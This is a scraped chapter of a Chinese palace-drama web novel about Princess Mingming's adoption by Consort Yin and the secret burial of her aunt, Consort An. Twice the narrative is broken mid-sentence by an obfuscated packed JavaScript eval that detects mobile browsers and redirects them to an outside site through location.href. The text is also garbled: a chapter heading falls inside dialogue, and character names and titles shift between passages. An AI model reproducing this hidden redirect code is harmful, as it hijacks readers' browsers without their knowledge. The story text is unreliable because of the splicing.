屋里的哭声渐渐弱了下去。 尹贵妃迈步走了进去,每一步都走得很稳。 “明明。” 她停在明明郡主面前,声音很轻,却很坚定。 “你姑姑走了,她把你托付给我,我会……待你如亲生女儿。” 明明郡主猛地抬头,嘴唇颤抖着,却说不出一个字,眼里写满了震惊和迷茫。 尹贵妃缓缓蹲下身,与她平视,一字一句地说:“孩子,我知道你在想什么。但你要明白,除了这条路,你……别无选择。” “安妃一去,荆南王府在京中再无依靠。你若留在宫中,便是砧板上的鱼肉,任人宰割。”尹贵妃的语气平静,却透着一股寒意,“你的婚事,你的生死,都将不由你做主。想离开京城,更是痴人说梦。” “但若我收你为义女,便不同了。”尹贵妃的声音里多了一丝温度,“有尹家和宁王在,无人敢轻举妄动。你的婚事,需得我点头同意。只要我护着你,便不会让你沦为玩物。但……你也无法离开京城,这是你姑姑唯一对不住你的地方。” 明明郡主抱着盒子的手紧了紧,指节泛白。 尹贵妃轻轻叹了口气,继续说道:“你姑姑她……也是实在熬不下去了。明明,你要体谅她,否则……” “我知道,我都明白。”明明郡主抱着盒子,缓缓站起身,身体有些摇晃,“姑姑这些年,过得太苦了。现在……该我了。” 她深吸一口气,眼神变得坚定。 “从今往后,荆南王府的担子,我来扛。” 明明郡主用力擦去脸上的泪痕,走到尹贵妃身旁,站得笔直,像一棵挺拔的小树。 “母妃。”她轻声唤道。 尹贵妃微微一笑,带着明明郡主回了自己的寝宫。 见明明郡主仍旧抱着那黑漆盒子,尹贵妃轻声道:“这盒子里装的,并非你姑姑的遗骸。” 明明郡主猛地抬头,眼中燃起一丝希望:“母妃,您的意思是……” 尹贵妃摇了摇头,叹息一声:“你姑姑的骨灰,我早已命人妥善收殓,在这里。” 她从袖中取出一个小巧的玉净瓶,瓶身温润细腻,在阳光下泛着淡淡的光泽。 “你姑姑生前最大的心愿,便是与吴容远远死同穴。她……会与吴容远远合葬。” 明明郡主怔怔地望着那玉净瓶,许久没有说话,最后只是轻轻叹了口气,声音里带着一丝苦涩。 “姑姑……连这事儿都告诉您了。” 尹贵妃淡淡一笑,笑容中带着几分落寞:“你姑姑,比我幸运得多。我羡慕她,所以……愿意成全她。” 明明郡主不明白。 姨独自一人陷落都城,与家人天各一方,与爱人咫尺天涯,这算哪门子幸运? 尹贵妃似乎看穿了她的心思,却并未解释,只是话锋一转:“安妃薨逝,皇上或许会准许荆南王进京吊唁。这段时日,你就安心住在我这里,不会有人来打扰你。” 明明郡主点了点头,像一只温顺的猫儿。 尹贵妃又道:“关于入土为安一事,这事交给我的人处理。” “母妃,可否……让女儿亲自去?”明明郡主的声音很轻,却透着一股不容置疑的坚定。 “我想亲眼看着,看着姑姑和吴容远远……葬在一起。” 自从姑姑离世,她对吴容远远的那点心思,早就烟消云散了。 如今再提起这个名字,她心里已经掀不起半点波澜。 她想圆姨的遗愿,让她和心爱之人,在九泉之下能够相守。 从前,姑姑为了荆南王府,牺牲了太多。 如今,她只想为姑姑做最后一件事。 尹贵妃深深地看了她一眼,眼神复杂难辨。 “你想出宫,谈何容易?”尹贵妃缓缓开口,“你姑姑刚走,不知有多少双眼睛盯着你。宫外不比宫内,稍有差池,便会万劫不复。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708069|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她顿了顿,语气一转:“不过……若有冀容白相助,倒也不是全无可能。” “我会替你联络冀容白。”尹贵妃冷笑一声,“这一个个的,都对他寄予厚望,难不成真以为他能开创什么太平盛世?” “也罢,我就破例信他一回,看看他究竟有何能耐,能将这腐朽的世道,翻出什么新花样来。”烈焰,像失控的妖魔,张牙舞爪地吞噬着安妃的寝宫。 火光冲天,浓烟滚滚,仿佛要将这四方的天都染成墨色。 宫里头,早就炸开了锅。 流言比风还快,都说这场火,透着十二分的诡异。 两个多时辰!火势不仅没有半点减弱,反而越烧越旺。 宫人们提着水桶,来来**,跑得腿都快断了。 可那水泼上去,就像是火上浇油,火苗子非但没矮下去,反而蹿得老高。 后来,锦衣卫的人来了,一番查探,才算摸清了这场大火的底细。 说是安妃的寝宫,从里到外,被人泼满了火油。 这火油,怕不就是这场大火怎么都扑不灭的根源? 圣上听了这消息,气得胡子都翘起来了,差点没把龙椅给坐塌了。 他一面派人快马加鞭,给远在云陵的荆南王送信,一面下令,宫里头有一个算一个,都得给他查,这火油,到底是从哪儿来的! 皇宫里头,顿时人心惶惶,谁都不知道下一个倒霉的是不是自己。 圣上担心明明郡主年轻,经不住事,亲自去了趟尹贵妃那儿,想看看情况。 尹贵妃见了圣驾,眼泪就跟开了闸的洪水似的,可还是强忍着行礼。 “明明哭得都快背过气去了,几次三番晕厥。” 尹贵妃的声音沙哑得厉害,像是被砂纸磨过一样, “臣妾已经让太医来看过了,说是得静养。等她醒过来,臣妾必当带她觐见圣上。” 圣上看着眼前的尹贵妃。 想当年,她是这后宫里最得圣上宠爱的,可如今…… 圣上心里头也五味杂陈,长叹一声, “明明这孩子,命苦。安妃是她在这皇城中仅存的血脉,这冷不丁地……荆南王一时半会儿也回不来,这些日子,你可得上点心,好好照看着她。 第三百六十四章 ” “臣妾明白,也是真心疼这孩子。” 尹贵妃拿帕子轻轻地印了印眼角, “明明这丫头,臣妾是看着她一点点长大的。早些年,臣妾在这宫里头,性子也算不上好,能说得上话的,也就安妃妹妹了。如今,她这一走,臣妾……” 说着,眼泪又下来了。 圣上看着她,好一会儿才开口: “你和安妃,姐妹情深。如今她遭了这样的难,朕一定不会放过凶手,定要查个水落石出,给安妃一个交代!” 尹贵妃抽泣着, “陛下圣明,安妃妹妹若是在天有灵,定会保佑陛下万事顺遂。” 她顿了顿,又小心翼翼地提起了另一桩事, “陛下,臣妾……想收明明为义女……” 皇帝眉头微微蹙起,显然有些意外, “明明是荆南王的女儿,早已贵为郡主,你这……” “陛下!” 尹贵妃再也忍不住,眼泪夺眶而出, “安妃妹妹走得突然,她心里头最放不下的,就是明明了!臣妾若是能收她为义女,也能让安妃妹妹在九泉之下瞑目啊!” 她哽咽着, “这些年,安妃妹妹性子恬淡,陛下许久未曾踏足她的寝宫,自然不知道……她心里,其实一直都惦记着陛下。她总在臣妾耳边念叨,当年陛下第一眼见到她,就喜欢得紧,怎么如今,却不来了呢?” 圣上的脸色微微一变,像是有根细细的针,轻轻地扎了他一下。 尹贵妃低着头,假装什么都没看见。 她心里跟明镜儿似的。 安妃为啥进宫?说到底,还不是因为她长得像“那位”。 安妃这辈子最后悔的,就是当初和吴容远远情投意合,却被圣上一眼看中,棒打鸳鸯。 原本性子跳脱,为了云陵,为了家族,硬生生被逼成了这宫里头的“端庄贤淑”。 人人都以为安妃娘娘就该是这般模样。 只有尹贵妃知道,那个曾经鲜活灵动,敢偷偷溜出府去玩的女子,早就被这高高的宫墙给困**。 如今一把火烧没的,不过是个躯壳罢了。 尹贵妃思绪至此,嘴角忍不住泛起一丝冷笑。 这宫里的女人,又有哪个不是活在别人的影子里? 正主回来了,她们这些影子,就只能躲在阴暗的角落里,永无出头之日。 陛下不知脑海中闪过何事,沉默了许久,最终竟没有再反对尹贵妃的提议。 等圣上走了,明明郡主才从里屋出来。 她已经换上了一身素净的宫女服,怀中死死护着一只黑布裹住的玉瓶,里头是安妃的骨灰。 门外,一个身形瘦小的宫女正候着。 “贵妃娘娘,郡主,奴婢是燕大人派来,送郡主出宫的。” 尹贵妃看着那宫女,眼神复杂, “冀容白的手,竟然已经伸到后宫里来了,看来这天下,早晚要落到他手里。” 那宫女头垂得更低了,不敢接话。 明明郡主缓步靠近那宫女,又回头看了尹贵妃一眼,欲言又止。 尹贵妃轻轻地叹了口气, “到了地方,替我带句话,愿她们来世……能生在寻常人家,做一对恩爱夫妻,白头偕老。” “是。” 明明郡主的声音很低,却很坚定。 尹贵妃看着明明郡主离去的背影,突然觉得这偌大的皇宫,就像一个华丽的囚笼,困住了她们这些可怜的女人。 …… 明明郡主随着宫女,七拐八绕,出乎意料地来到了一处偏僻的院落。 院子里,停着一辆不起眼的马车。 “郡主,这是燕大人特意为您准备的,可以避开宫里的耳目。” 宫女解释道。 明明郡主没有说话,只是默默地上了马车。 马车辘辘地驶出了皇宫,一路向城外驶去。 她知道,冀容白既然安排了马车,那吴容远远的后事,想必也早已安排妥当了。 果然,马车直接驶到了城外五里坡的那棵梨花树下。 那里,已经挖好了一个墓穴。 几个身穿粗布衣裳的人,正等着他们。 送葬的队伍,悄无声息。 除了明明郡主,茅清兮竟然也在。 她也是一身不起眼的装扮,混在人群中。 几个人合力将一口薄棺放入墓穴。 填土,立碑。 整个过程,安静得让人心慌。 只有风,一阵阵地刮过,吹得梨花纷纷扬扬地飘落。 棺木入土,明明郡主再也忍不住,眼泪扑簌簌地往下掉。 不是悲伤,却比悲伤更让人难受。 她知道,姑姑终于自由了,终于可以和她心爱的人在一起了。 哪怕只是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708070|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地下,可她想,姑姑一定是欢喜的,吴容远远也一定是欢喜的。 吴老夫人的身影,不知何时出现在了人群中。 她没有哭,只是静静地站在那里,浑浊的眼睛一动不动地盯着那渐渐隆起的坟包。 坟墓堆好了,成了一个小小的土丘。 梨花开得正好,风一吹,花瓣就跟下雪似的,落了满山坡。 送葬的人,陆陆续续地离开了。 明明郡主和茅清兮并肩走在回城的路上。 “我姑姑,是不是……早就料到了会有今日?” 明明郡主突然开口,打破了沉默。 “你到底想打听啥?” 茅清兮没有直接回答。 明明郡主停下脚步,看着茅清兮, “关于荆南王府……” 茅清兮摇了摇头, “安妃娘娘并没有说太多。她只是说,若是你日后遇到难处,希望我们可以尽力帮你。” “原来……姑姑她一直都在为我打算。” 明明郡主的声音很轻,带着一丝苦涩。 她深吸了一口气,努力让自己平静下来, “臧夫人,有话直说吧。如今我姑姑不在了,我必须留在京城,才能保云陵一时安稳。” 她看着茅清兮的眼睛, “云陵这块肥肉,人人都想分一杯羹,你们……真的能坐视不理?” 茅清兮依旧摇头, “冀容白说过,云陵的兵马,只适合镇守云陵,对京城的人来说,没有太大的用处。” 明明郡主笑了,笑得有些凄凉, “可若是云陵的兵马落入他人之手,那就不只是镇守云陵这么简单了。真到了那时候,玄武国挥师南下,云陵怕是抵挡不住。苏将军,肯定不愿看到这样的局面吧?” 茅清兮看着她, “明明郡主,你到底想说什么?” “云陵需要在京城找到一个依靠,但我们和苏将军一样,都不希望边关再起战火。” 明明郡主上前一步, “苏将军不在,臧夫人,我只问你一句,云陵,可否与苏将军同进退?这句话,臧夫人能做主吗?” 茅清兮看着她,目光坚定, “郡主能代表云陵,我自然也能代表陆家。” “但凡苏枭将军尚在人世,云陵就绝不会有二心。” 明明郡主的声音不高,却掷地有声。